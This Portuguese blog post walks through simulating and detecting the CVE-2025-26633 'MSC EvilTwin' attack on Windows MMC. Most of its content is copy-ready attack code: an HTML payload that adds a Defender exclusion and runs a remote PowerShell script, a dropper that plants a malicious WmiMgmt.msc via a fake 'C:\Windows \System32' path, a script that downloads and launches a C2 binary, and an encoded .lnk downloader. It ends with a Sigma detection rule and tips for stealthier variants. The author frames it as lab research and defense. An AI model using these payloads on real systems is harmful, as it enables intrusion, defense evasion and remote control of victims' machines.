TL;DR

A CVE-2025-26633 é uma falha no Microsoft Management Console (MMC) que permite execução de código remoto com engenharia social. O ataque abusa de um .msc malicioso com conteúdo HTML via ActiveX embutido, explorando a renderização do Internet Explorer interno do Windows.

Fluxo do Ataque:

• Criação de página HTML maliciosa (index.html) com comando PowerShell.
• Criação de .msc malicioso apontando para essa página.
• Obfuscação com Base64 e criação de dropper .ps1.
• Criação de atalho .lnk para execução do .msc.
• Usuário clica no .lnk → MMC carrega .msc → HTML carrega → PowerShell executa → Shell reverso ativo.

Impacto:

• Execução remota de código
• Evasão de defesas usando LOLBins (mmc.exe)
• Possível persistência e exfiltração de dados

Requer:

• Interação do usuário
• MMC instalado (spoiler: está em todo Windows desde a pré-história)

Detectar:

• Monitorar chamadas suspeitas do mmc.exe carregando .msc
• Execução de PowerShell a partir de instâncias MMC
• Uso incomum de ActiveX no contexto de gerenciamento local

É como se alguém pegasse o MMC, vestisse ele com um casaco de HTML venenoso, e dissesse: “Confia!” E o Windows… confiou.

1. Introdução

O presente artigo, tem como finalidade, simular a execução, exploração e detecção da CVE-2025-26633 seguindo o que foi documentado na análise apresentada pela Trend Micro. Para entender maiores detalhes sobre essa CVE, leia a análise completa e detalhada no link que está na seção Referências, aqui, focaremos apenas em montar um ambiente de testes e simular essa exploração.

Por questões práticas, meu C2 será sempre o mesmo endereço de IP, não terá evasão de defesas ou escalação de privilégios, tanto que o Windows Defender e Elastic Security identificaram fácil meu payload de shell reverso, meu foco principal é o entendimento do comportamento, lembrando que em cenário real ou operações de Red Team a criatividade e distribuição da arquitetura vai depender de cada agente.

Os arquivos aqui construídos estão disponíveis no meu GitHub. O link está na seção de Referências.

2. Um breve resumo sobre a vulnerabilidade

A vulnerabilidade CVE-2025-26633 identificada pela Trend Micro, abusa do recurso Microsoft Management Console (MMC) do Windows usando uma técnica que eles apelidaram de MSC EvilTwin.

A exploração dessa vulnerabilidade requer interação do usuário e que ele execute um arquivo .msc especialmente criado para essa exploração. Neste ataque, o agente de ameaça manipula arquivos .msc e o Multilingual User Interface Path (MUIPath) para baixar e executar carga maliciosa, manter a persistência e roubar dados confidenciais de sistemas infectados. Esse método permite que os invasores ignorem as medidas de segurança tradicionais e ganhem acesso ao ambiente.

No centro da exploração está uma técnica, criar dois arquivos .msc com o mesmo nome. Um deles é um arquivo limpo e inofensivo e o outro que é o malicioso, em um diretório específico do idioma como en-US. Quando a versão limpa é executada, o mmc.exe carrega o arquivo malicioso em vez do arquivo original e o executa, explicam os pesquisadores.

3. Fluxo da cadeia de execução

Abaixo eu desenhei como ficará o fluxo da nossa Prova de Conceito.

    flowchart TD
	    Background1(Stage 1):::bg1
	    Background2(Stage 2):::bg2
	    Background3(Stage 3):::bg3
	
	    A(Phishing):::stage1 -->|Supomos que o ataque inicial seja um phishing| B(Vítima):::stage1
	    B -->|Baixa um arquivo .zip<br>contendo um atalho .lnk| C(malicious.lnk):::stage1
	    C -->|Inicia o PowerShell<br>e executa o link| D(http:\//192.168.145.115/stage1/dropper.ps1):::stage1
	    R(A variável fakeFile que está no arquivo, pode ser usada para outras finalidades, como iniciar o navegador e abrir uma página qualquer, como o Google, por exemplo.) --> D
	    D -->|Descarrega a versão legítima de ***WmiMgmt.msc*** em| E(C:\Windows\System32\):::stage1
	    D -->|Descarrega a versão maliciosa de ***WmiMgmt.msc*** em| F(C:\Windows\System32\en-US\):::stage1
	    D -->|Modifica a flag ***htmlLoaderUrl*** com endereço do C2| G(C:\Windows\System32\en-US\WmiMgmt.msc):::stage1
	    D -->|Executa o arquivo original que faz chamada ao arquivo malicioso| H(C:\Windows\System32\WmiMgmt.msc):::stage1
	    H --> G
	    G -->|Ao ser executado, ele acessa uma página web e executa comandos powershell embutidos na página web| I(http:\//192.168.145.115/stage2/index.html):::stage2
	    I --> J(Adiciona a pasta ***Temp*** à exceção no Windows Defender):::stage2
	    I -->|Executa outro script powershell| K(http:\//192.168.145.115/stage3/shell.ps1):::stage2
	    I --> L(Encerra qualquer processo ***mmc.exe***):::stage2
	    K -->|Ele executa a chamada para o download do binário| MO(http:\//192.168.145.115/stage3/shell.exe):::stage3
	    K -->|Ele configura a pasta ***Temp*** como path e salva o arquivo como c2.exe| N("$env:TEMP\c2.exe"):::stage3
	    K --> P(Ele incia o binário c2.exe na pasta Temp):::stage3
	    P -->|Conexão com o C2| Q(C2 Server):::stage3
	
	    classDef stage1 fill:#0074D9,color:#fff,stroke:none;
	    classDef stage2 fill:#2ECC40,color:#fff,stroke:none;
	    classDef stage3 fill:#df671a,color:#fff,stroke:none;
	    classDef bg1 fill:#0074D9,color:#fff,stroke:#000,stroke-dasharray: 5 5;
	    classDef bg2 fill:#2ECC40,color:#fff,stroke:#000,stroke-dasharray: 5 5;
	    classDef bg3 fill:#df671a,color:#fff,stroke:#000,stroke-dasharray: 5 5;

4. Weaponization

4.1. Preparando a página index.html

Primeiro! Vamos começar pela página html, pois aqui preciso explicar algumas coisinhas… A página web que criaremos, servirá apenas para hospedar o estágio 2 do ataque. Crie um arquivo index.html e copie o código abaixo:

 1<!DOCTYPE html>
 2<html lang="en">
 3<head>
 4    <meta charset="UTF-8">
 5    <meta name="viewport" content="width=device-width, initial-scale=1.0">
 6    <title>Game Over</title>
 7</head>
 8<body>
 9<h1>CVE-2025-26633</h1>
10    <script>
11    external.ExecuteShellCommand("powershell.exe", "", "-ExecutionPolicy Bypass -WindowStyle Hidden -Command & {Add-MpPreference -ExclusionPath $env:TEMP}", "Minimized");
12    external.ExecuteShellCommand("powershell.exe", "", "-ExecutionPolicy Bypass -WindowStyle Hidden -Command \"Invoke-RestMethod -Uri 'http://192.168.145.115/stage2/shell.ps1' | Invoke-Expression\"", "Minimized");
13    external.ExecuteShellCommand("powershell.exe", "", "-ExecutionPolicy Bypass -WindowStyle Hidden -Command & {taskkill /f /im mmc.exe}", "Minimized");
14    // external.ExecuteShellCommand("powershell.exe", "", "-ExecutionPolicy Bypass -WindowStyle Hidden -Command & {Start-Process calc.exe}", "Minimized");
15    </script>
16</body>  
17</html>

4.1.1. Para que serve o external.ExecuteShellCommand nessa página?

O motivo de criarmos a página web assim é que, ao executarmos uma página .html deentro de um arquivo .msc, ele é capaz de executar comandos no terminal. O external.ExecuteShellCommand é um método que é exposto por alguns componentes ActiveX no contexto do Internet Explorer embutido. Em MMCs personalizados, o controle WebBrowser pode estar presente, e ele fornece uma interface COM chamada external.

4.1.2. Como o .msc se encaixa nesse cenário?

Um .msc pode ser personalizado para carregar uma página HTML remota ou local. Se essa página HTML estiver com um JavaScript malicioso e o ambiente estiver vulnerável (por exemplo, rodando com permissões elevadas e com configurações antigas do IE/ActiveX), o script pode:

• Acessar o objeto external
• Executar comandos PowerShell diretamente
• Evitar avisos ou prompts, pois o MMC geralmente roda com permissões elevadas (principalmente se for um snap-in administrativo)

Veja a Figura 2 para ver o exemplo e veja os links 4 e 5 na seção Referências para maiores esclarecimentos.

4.2. Preparando o arquivo .msc

Agora vamos preparar o nosso arquivo .msc. A Trend mostrou em seu relatório que foi usado o binário WmiMgmt.msc¹ e como tentativa de reprodução fiel ao reportado, vou seguir nesse mesmo caminho.

Antes de tudo, inicie um servidor para o index.html que criamos anteriormente, comente as 3 primeiras linhas e deixe somente a linha 4 que inicia a calculadora. Vamos fazer isso apenas para testar a efetividade da configuração do arquivo.

Abra o menu executar e digite mmc para abrir o Microsoft Console Management.

Vá em File > Add/Remove Snap-in... > Link to Web Address >, adicione o link/IP do seu arquivo hospedado, conforme Figura 3, no próximo passo coloque Shockwave Flash Object (aqui no meu teste eu coloquei outro nome apenas para fins didáticos) e depois Add > OK. Clique no Snap-in criado, ao clicar no objeto, a calculadora deverá abrir, isso confirma que o arquivo está funcionando.

Importante!

Aqui vai uma observação extremamente importante! Salve o arquivo com o objeto que acessa a página web clicada, pois quando você salva o arquivo com o objeto clicado, ele irá iniciar na próxima vez nesse objeto e isso é importante para nosso cenário. Veja abaixo:

Agora edite o arquivo, altere e deixe conforme a Figura 5 abaixo:

Ok! Nosso arquivo .msc malicioso já está pronto. Vamos para o próximo arquivo.

4.3. Criando o seu payload de shell reverso

Nesta parte não vou detalhar como você deve fazer seu payload, vai depender do C2 que você vai usar no seu lab, se o metasploit, havoc etc… Aqui no meu lab eu criei o payload .exe diretamente no havoc. Ele tem assinatura e o Windows Defender identifica ele, o Elastic Security instalado no meu lab também identificou ele, como falei na Introdução.

4.4. Configurando o Base64

Essa parte é um ponto muito importante! Vamos codificar nossos dois arquivos: o arquivo limpo e malicioso do WmiMgmt.msc. Use o seguinte script para encodar em base64 o arquivo:

 1$inputFile1 = "C:\Windows\System32\WmiMgmt.msc"
 2$inputFile2 = "<path_to_maliciou_file>\WmiMgmt.msc"
 3$base64String1 = [Convert]::ToBase64String([System.IO.File]::ReadAllBytes($inputFile1))
 4$base64String2 = [Convert]::ToBase64String([System.IO.File]::ReadAllBytes($inputFile2))
 5$base64String1 | Set-Content "C:\Users\Public\WmiMgmt.txt"
 6$base64String2 | Set-Content "C:\Users\Public\WmiMgmt_malicious.txt"
 7
 8----
 9## OUTPUT
10# Get-Content "C:\Users\Public\WmiMgmt.txt"
11# PD94bWwgdmVyc2lv...vbnNvbGVGaWxlPg==

4.5. Criando o nosso dropper

Agora vamos começar a evoluir nossa estrutura e vamos desenvolver o dropper do nosso shell.

Crie um arquivo chamado shell.ps1 e copie exatamente o código abaixo:

 1$ErrorActionPreference = 'silentlyContinue'
 2
 3$htmlLoaderUrl = "http://192.168.145.115/stage2/"
 4$originalConsole = "g8yfiasn...oansfafs==" # b64 do seu arquivo original.
 5$hackedConsole = "akjfghjiaksgf...aihb7as6dyb==" # b64 do seu arquivo malicioso.
 6$fakeFile = "" # Aqui você pode configurar o que quiser... Abrir uma página do Google, pra passar despercebido...
 7
 8New-Item "\\?\C:\Windows \System32\" -ItemType Directory
 9New-Item "\\?\C:\Windows \System32\xpto" -ItemType Directory
10
11$decodedBytesOriginal = [System.Convert]::FromBase64String($originalConsole)
12$decodedBytesFakes = [System.Convert]::FromBase64String($hackedConsole)
13
14[System.IO.File]::WriteAllBytes("C:\Windows \System32\WmiMgmt.msc", $decodedBytesOriginal)
15[System.IO.File]::WriteAllBytes("C:\Windows \System32\en-US\WmiMgmt.msc", $decodedBytesFakes)
16
17(Get-Content -Path '\\?\C:\Windows \System32\en-US\WmiMgmt.msc' -Raw ) -replace '{htmlLoaderUrl}', $htmlLoaderUrl | Set-Content -Path '\\?\C:\Windows \System32\en-US\WmiMgmt.msc'
18if ($fakeFile -ne $null -and $fakeFile -ne "") {
19    Start-Process $fakeFile
20}
21
22Start-Process -FilePath 'C:\Windows \System32\WmiMgmt.msc'
23Start-Sleep -Seconds 30
24
25Remove-Item -Path "\\?\C:\Windows \System32" -Recurse -Force
26Remove-Item -Path "\\?\C:\Windows \System32\xpto" -Recurse -Force
27Remove-Item -Path "\\?\C:\Windows \" -Recurse -Force
28Exit

Se você percebeu, existe um espaço ("␣") entre Windows e \System32. É exatamente aqui como vamos conseguir explorar essa CVE e executar essa vulnerabildade. Confesso que não ficou muito claro para mim como, tecnicamente acontece essa exploração desse caminho, mas fiz algumas simulações pra ficar um mais entendível como isso se aplica.

Veja a Figura 6 e perceba que ao criar uma pasta Windows manualmente, o sistema não permite criá-la, porém, ao criar a pasta via terminal foi possível criá-la (Figura 7), no entanto, observe o comportamento ao abrir essa pasta na Figura 7. Perceba que ele meio que copiou todo o conteúdo da pasta Windows original, entretanto, as pastas originais não são identificadas como caminho padrão e dão um erro, conforme mostra a Figura 8.

Como você pôde perceber, quando criamos manualmente via explorer a pasta o sistema não permitiu, mas ao tentar criar via terminal isso foi possível devido a termos “maior controle operacional”. O comportamento que observamos aqui está relacionado em como o Windows lida com a resolução de nomes de diretórios. Vamos entender melhor:

4.5.1. Espaço no Caminho e Interpretação do Windows

Quando você escreve C:\Windows \System32, o Windows pode interpretar esse caminho de maneira inesperada. Isso acontece porque:

• No Windows, os caminhos são normalizados antes de serem processados.
• O espaço pode fazer com que o interpretador de comandos ou a API de sistema tente resolver o caminho de forma diferente.
• Algumas funções podem considerar C:\Windows \System32 como C:\Windows\System32, mas outras podem não reconhecer corretamente o diretório e acabar redirecionando para outro local.

4.5.2. Criação de um novo diretório

Como não temos permissão de escrita em C:\Windows e quando criamos um diretório C:\Windows \System32, o Windows entende que System32 é uma nova pasta dentro de C:\Windows . Isso significa que você pode criar um diretório C:\Windows , onde tem permissão de escrita.

4.5.3. Como explorar isso para Escalação de Privilégios?

Esse tipo de situação é explorável em um tipo de ataque que se chama Unquoted Service Path ou Unquoted Path. Essa vulnerabilidade ocorre quando o caminho para um executável de serviço contém espaços e não está devidamente delimitado por aspas, permitindo que um atacante crie executáveis maliciosos em caminhos inesperados. Por exemplo, um caminho de serviço como C:\Program Files\My Program\Service.exe sem aspas pode ser interpretado pelo sistema como C:\Program.exe, se tal arquivo existir, permitindo a execução não intencional de um programa malicioso. Além disso, o uso de espaços em caminhos de arquivos pode causar comportamentos inesperados no Windows. Por exemplo, ao lidar com caminhos que contêm espaços, é necessário escapar ou delimitar corretamente o caminho com aspas para evitar interpretações errôneas pelo sistema. Embora esses exemplos não correspondam exatamente ao cenário que estamos trabalhando aqui, eles demonstram como espaços em caminhos de arquivos podem ser manipulados para explorar vulnerabilidades ou contornar restrições de segurança no Windows.

4.6. Criando o nosso shell.ps1

Agora vamos criar o arquivo do terceiro estágio do nosso ataque:

1$exePath = "$env:TEMP\c2.exe"
2Invoke-WebRequest -Uri "http://192.168.145.115/stage3/shell.exe" -OutFile $exePath
3Start-Process -FilePath $exePath

Aqui, basicamente vamos salvar o nosso shell como um outro nome na pasta Temp que já foi inclusa como exceção no Windows Defender.

4.7. Criando o nosso arquivo de execução inicial, nosso arquivo .lnk

Conforme mencionado pela Trend no seu artigo, o arquivo de acesso inicial era um arquivo .msi, aqui foquei em escrever um .lnk, por que é fácil e tem muitos malwares que fazem esse tipo de método. Vamos criar nosso .lnk malicioso:

 1# Cria um objeto COM para manipulação de atalhos .lnk
 2$Shell = New-Object -ComObject WScript.Shell
 3# Cria o atalho no Desktop do usuário atual com o nome "Malicious.lnk"
 4$Shortcut = $Shell.CreateShortcut("$env:USERPROFILE\Desktop\Malicious.lnk")
 5# Comando que vai fazer o download e execução do script malicioso
 6$Command = "powershell.exe -ep bypass -command `"iex (New-Object Net.WebClient).DownloadString('http://192.168.145.115/stage1/dropper.ps1')`""
 7# Codifica o comando em Base64
 8$EncodedCommand = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($Command))
 9# Define o powershell.exe como execução junto com os argumentos
10$Shortcut.TargetPath = "powershell.exe"
11$Shortcut.Arguments = "-ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -EncodedCommand $EncodedCommand"
12# Define o diretório de execução e o ícone do atalho e salva
13$Shortcut.WorkingDirectory = "$env:USERPROFILE\Desktop"
14$Shortcut.IconLocation = "C:\Windows\System32\shell32.dll,1"
15$Shortcut.Save()

Pronto! Nossa preparação está concluída! Basta executar o .lnk e o acesso shell é iniciado. Você pode incluir no script uma função que inclua o atalho para iniciar junto ao sistema operacional ou uma tarefa agendada, por exemplo.

4.7. Demonstração

5. MITRE ATT&CK - MSC EvilTwin (CVE-2025-26633)

6. Detecção

Abaixo segue uma regra Sigma que você pode usar para estrutura em seu ambiente:

 1title: CVE-2025-26633 - MSC EvilTwin
 2id: 544635f8-40f9-4728-ad65-7de49ad51a64
 3status: experimental
 4description: Detects a Windows command line executable started from MMC with a space between "Windows" and "\System32\"
 5references:
 6   - https://www.trendmicro.com/en_us/research/25/c/cve-2025-26633-water-gamayun.html
 7   - https://detection.fyi/sigmahq/sigma/windows/process_creation/proc_creation_win_mmc_susp_child_process/
 8   - https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
 9   - https://sandsoncosta.github.io/blog/cve-2025-26633-como-simular-e-identificar-o-ataque-msc-eviltwin/
10author: Sandson Costa
11date: 2025-04-03
12tags:
13   - attack.lateral-movement
14   - attack.t1021.003
15logsource:
16   category: process_creation
17   product: windows
18detection:
19   selection1:
20       EventID: 1
21       Image|endswith: '\mmc.exe'
22       ParentImage|endswith:
23           - '\cmd.exe'
24           - '\powershell.exe'
25           - '\pwsh.exe'
26           - '\wscript.exe'
27           - '\cscript.exe'
28           - '\sh.exe'
29           - '\bash.exe'
30           - '\reg.exe'
31           - '\regsvr32.exe'
32       CommandLine|re: 'Windows\s+\\System32'
33   selection2:
34       EventID: 4688
35       ParentProcessName|endswith: '\mmc.exe'
36       NewProcessName|endswith:
37           - '\cmd.exe'
38           - '\powershell.exe'
39           - '\pwsh.exe'
40           - '\wscript.exe'
41           - '\cscript.exe'
42           - '\sh.exe'
43           - '\bash.exe'
44           - '\reg.exe'
45           - '\regsvr32.exe'
46        CommandLine|re: 'Windows\s+\\System32'
47   condition: selection1 or selection2
48fields:
49   - CommandLine
50   - Image
51   - ParentCommandLine
52level: high
53 query
54
55(EventID = 1 && Image ends '\mmc.exe' && (ParentImage ends '\cmd.exe','\powershell.exe','\pwsh.exe','\wscript.exe','\cscript.exe','\sh.exe','\bash.exe','\reg.exe','\regsvr32.exe') && CommandLine regex 'Windows\\s+\\\\System32') || (EventID = 4688 && ParentProcessName ends '\mmc.exe' && (NewProcessName ends '\cmd.exe','\powershell.exe','\pwsh.exe','\wscript.exe','\cscript.exe','\sh.exe','\bash.exe','\reg.exe','\regsvr32.exe'))

É necessário que tenha Sysmon instalado e o log de auditoria do EventID 4688 habilitado também. Além do mais, conseguimos ver a execução dos comandos em PowerShell pelo EventID 4104 que é o log de auditoria do Channel Microsoft-Windows-PowerShell/Operational.

Além do mais, você pode desenvolver regras auxiliares para pegar outros tipos de comportamento parecidos com esse, até mesmo identificar conexões a IPs externos com origens de pastas temporárias. Veja o exemplo abaixo de como podemos identificar conexão a IP externo a partir da pasta Temp:

Também podemos identificar através do EventID 1 outras situações, como processo iniciado a partir da pasta Temp, tendo como processo pai o powershell e até mesmo criação de processo a partir da pasta Temp tendo como diretório pai o System32, como mostro na Figura 13 abaixo:

Leia também!

Habilitando Políticas de Auditoria no PowerShell

A habilitação das políticas de auditoria do PowerShell, como Script Block e Transcript Logging, fortalece a segurança, permitindo monitoramento detalhado e prevenção de ameaças.

Sandson Costa

Análise minuciosa de ofuscação PowerShell: De um script caótico ao "Start-Process calc.exe"

Análise prática de um script PowerShell ofuscado, revelando passo a passo da sua lógica até executar calc.exe com Start-Process. Ideal para estudos de Threat Hunting.

Sandson Costa

7. Conclusão

Essa simulação demonstrou como funcionalidades legítimas podem ser exploradas para fins maliciosos, quando combinadas com técnicas de engenharia social e criatividade. Ao construir um cenário realista com estágios bem definidos, desde o phishing até a execução final do payload, foi possível observar como a cadeia de ataque se desenrola discretamente e, muitas vezes, sem levantar alertas imediatos.

Essa exploração pode ser desenvolvida por outras formas mais criativas e diversos outros métodos, como utilizar LOLBins (Living Off The Land Binaries). Por exemplo, em vez de invocar o powershell.exe diretamente, utilizar mshta.exe para carregar scripts remotos, rundll32.exe para executar funções de DLLs customizadas, ou até regsvr32.exe com arquivos SCT hospedados, mantendo a cadeia mais furtiva e compatível com bypass de defesas tradicionais.

Além disso, o dropper pode ser refeito para carregar payloads por meio de técnicas fileless, utilizando WMI ou até abusando de scripts embutidos em tarefas agendadas e registros do Windows. O importante é compreender que o .msc aqui funciona como um launcher, e o conteúdo HTML dentro dele pode servir como ponte para qualquer comando possível no Windows — desde que bem encapsulado.

Por fim, reforça-se a importância de monitorar o uso do mmc.exe em contextos anômalos, especialmente quando estiver abrindo arquivos .msc fora de seu comportamento padrão, iniciando conexões web ou spawnando shells. A engenharia feita aqui, mesmo que simplificada para fins educacionais, reforça como a combinação de funções nativas do sistema e um mínimo de interação do usuário ainda são suficientes para comprometer um ambiente. Conhecer a técnica é o primeiro passo para preveni-la.

8. Referências

1. CVE-2025-26633: How Water Gamayun Weaponizes MUIPath using MSC EvilTwin
2. Will the real #GrimResource please stand up? – Abusing the MSC file format
3. Living Off The Land Binaries, Scripts and Libraries
4. View Object object
5. View::ExecuteShellCommand method
6. CVE-2025-26633 - MSC EvilTwin PoC